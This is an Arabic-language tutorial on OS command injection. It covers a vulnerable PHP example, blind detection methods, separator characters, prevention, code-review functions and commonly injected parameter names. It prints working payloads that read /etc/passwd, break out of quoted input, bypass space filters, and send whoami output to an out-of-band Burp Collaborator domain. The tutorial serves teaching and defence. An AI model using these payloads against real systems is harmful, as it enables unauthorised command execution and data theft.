OS Command injection

1-تعريفها: هي ثغرة بتسمح للمهاجم إنه ينفذ أوامر على السيرفر الي شغال عليه تطبيق ما, ولنفترض موقع فندق فيه ثغرة OS Command في هنا الموقع موجود على سيرفر, الثغرة بقى بتسمحلي انفذ أوامر على السيرفر وده بيحط السيرفر ف خطر كبير لإن المهاجم ممكن يـ access ملفات حساسة أو يغير في ملفات مهمة أو يؤثر على تطبيقات تانية موجودة ع نفس السيرفر وهكذا.

- #الكود الي بيتم تنفيذه بيتم تنفيذه بصلاحيات الـ Website الحالية ودايما مش بتكون admin ولكن المهاجم يقدر بعدين يعمل.privilege escalation

2-كيفية اكتشافها: هنا مثال للكود الضعيف:

```
<?php
  $address = $_GET["address"];
  $output = shell_exec("ping -n 3 $address");
  echo "<pre>$output</pre>";
?>
```

ف انت لما بتكتب IP معين هو بياخده عن طريق المتغير address وبعدين يعديه على المتغير ouput وهنا بيحصل تنفيذ امر من أوامر الشيل بدون أي validation عليه وبعدين بيرجعلك النتيجة, فـ لو كتبت ; وبعدها امر ده معناه إنك هتنفذ الامر الأول وبعدين هتنفذ معاه الامر الي بعد الـ ; وترجعلي النتجتين مع بعض.

- أحيانا بيكون في OS Command مش بتشوف الـ output بتاعها يعني blind يعني لو كتبت ls أو whoami مش هتشوف الناتج وبالتالي انت محتاج حاجة تقدر تشوفها وتقيم ع أساسها في ثغرة أو لا وفي كذا طريقة نستعين بيهم ومنهم:

✓ -1الـ Time delay وهو تأخر السيرفر فالـ response يعني الرد بيجي متأخر من السيرفر بعدد ثواني انت بتحدده وهنا بنستخدم امر ping = ping –c 10 127.0.0.1 لو فعلا الرد أخد 10ث يبقى في ثغرة.

✓ -2الـ :redirection output طالما مش بنشوف الـ ouput في ممكن نجرب الطريقة الأولى لو منفعتش بنروح نجرب الـ redirection output وهو إننا بنفذ امر وبنخلي الـ output بتاعه يروح لملف احنا نقدر نقراه فيما بعد ونعمله access من الموقع.

✓ -3وده معناه إن أول طريقتين مش شغالين وهنا بنجرب الطريقة الـ 3 وهي الـ out-of-band والمقصود بيها إنك بتعمل action خارج النطاق (خارج الموقع) زي مثلا تعمل nslookup لدومين خارجي, يفضل تستعين بالـ burp collaborator وتعمل nslookup للدومين الي هيدهولك وبعدين تستخرج النتيجة.

✓ -4من خلال طريقة الـ out-of-band ممكن تنفذ أوامر تاني بإنك تبدأ الدومين بالامر ف ينفذ الـ DNS للدومين وينفذ الامر بردو زي كده:

Nslookup `whoami`. Aaoml950abj6yiwnu67xfc9wknqee3.burpcollaborator.net

وبالتالي هو هيعمل dns lookup للدومين ده وفي الـ response هيظهر نتيجة امر الـ whoami في اول الدومين.

3-الرموز المستخدمة:

- في رموز بتُستخدم عشان تفصل الأوامر وتنفذهم مع بعض وفي منهم الي لينكس والي ويندوز
- لينكس بس: (;)
- ويندوز ولينكس: (& - && - | -(||)
- `cat /etc/passwd` أو$(cat /etc/passwd)

ملاحظة:

- أحيانا الـ input الي بتكتبه بيكون في الوضع العادي موجود بين " " وبالتالي بتكون محتاج تنهي بـ " قبل ما تكتب الرموز الفاصلة يعني كده

Email=x" || whoami

4-امنعها ازاي؟:

- متتعاملش خالص مع أي أوامر من السيرفر عن طريق الويب ابليكيشن يعني متنفذش حاجة تروح من التطبيق للسيرفر وبعدين ترجع بالـ response وبدلا من ده انت بتستخدم الـBuilt-in library functions وبتعمل نفس الحاجة.
  - كمثال: إستخدم mkdir() بدل ما تستخدم system("mkdir /dirname")
  - لو في APIs, Libraries ف يفضل تستخدمهم بدل الـ OS commands

- ممكن تعمل escape للحروف الي بتخليك تنفذ أمرين عن طريق escapeshellarg() or escapeshellcmd() in PHP
- لو مش هينفع تعمل الطريقة الأولى ف انت محتاج تعمل validation كويس لكود تنفيذ الأوامر عن طريق:
  - يكون عندك قائمة بالاوامر الي ينفع تتنفذ
  - الـ input يكون رقم
  - الـ input يكون رقمي حرفي مش أي حاجة تاني ولا مسافات حتى.
- $address = filter_var($_GET["address"], FILTER_VALIDATE_IP);
- في بعض الدفاعات الاضافية الي ممكن تعملها زي:
  - إن التطبيق يكون شغال بأقل صلاحيات ممكنة عشان حتى لو حصل أتاك يكون على مستوى ضعيف.
  - يُفضل لو يكون في أميل معزول لكل مهمة، يعني لو هنفذ أوامر معينة من النظام ف يكون اليوزر الفلاني بصلاحيات معينة هو الي بينفذ التاسك دي وهكذا.

5-سيناريوهات:

- وانت بتجرب ثغرة os command جرب كل الرموز لحد ما واحد يظبط ويفضل بالترتيب ده ; => & => | => || => && => ` ` => لإنه أحيانا بيكون مفلتر كام واحد منهم ومش مفلترهم كلهم ف جربهم كلهم.
- لو بتجرب blind os command جرب تحط الكود بين ` ` بعد ما تفصل بالـ ;

6-Code Review:

- الدوال الي تبص عليها وانت بتعمل code review للثغرة دي هما الآتي:
  - **exec(), passthru(), system(), shell_exec(), eval(), proc_open() in PHP**
  - **Runtime.exec() in Java**
  - **System.Diagnostics.Process.Start in .NET**
  - **System(), exec(), shellexecute() in C/C++**
  - **Exec(), eval(), os.system(), os.popen(), subprocess.popen() in Pyhton**

- لو بيمنع الـ space فـ جرب تحط < بدل الفراغ cat</etc/passwd أو تحط الكود بين {} {cat/etc/passwd}

- https://github.com/digininja/DVWA/tree/master/vulnerabilities/exec
- اللينك الي فوق فيه تحديات للـ OS command injection تقدر تبص على الكود كنوع من الـ code review وتشوف الكود بيكون ازاي وبيحصل فلترة ازاي.

5-أشهر الباراميترز:

Delete.php?filename={}?

cmd={payload}?

exec={payload}?

command={payload}?

execute{payload}?

ping={payload}?

query={payload}?

jump={payload}?

code={payload}?

reg={payload}?

do={payload}?

func={payload}?

arg={payload}?

option={payload}?

load={payload}?

process={payload}?

step={payload}?

read={payload}?

function={payload}?

req={payload}?

feature={payload}?

exe={payload}?

module={payload}?

payload={payload}?

run={payload}?

print={payload}?

مصادر:

- https://owasp.org/www-community/attacks/Command_Injection
- https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
- https://wiki.owasp.org/index.php/Reviewing_Code_for_OS_Injection
- https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection.html
-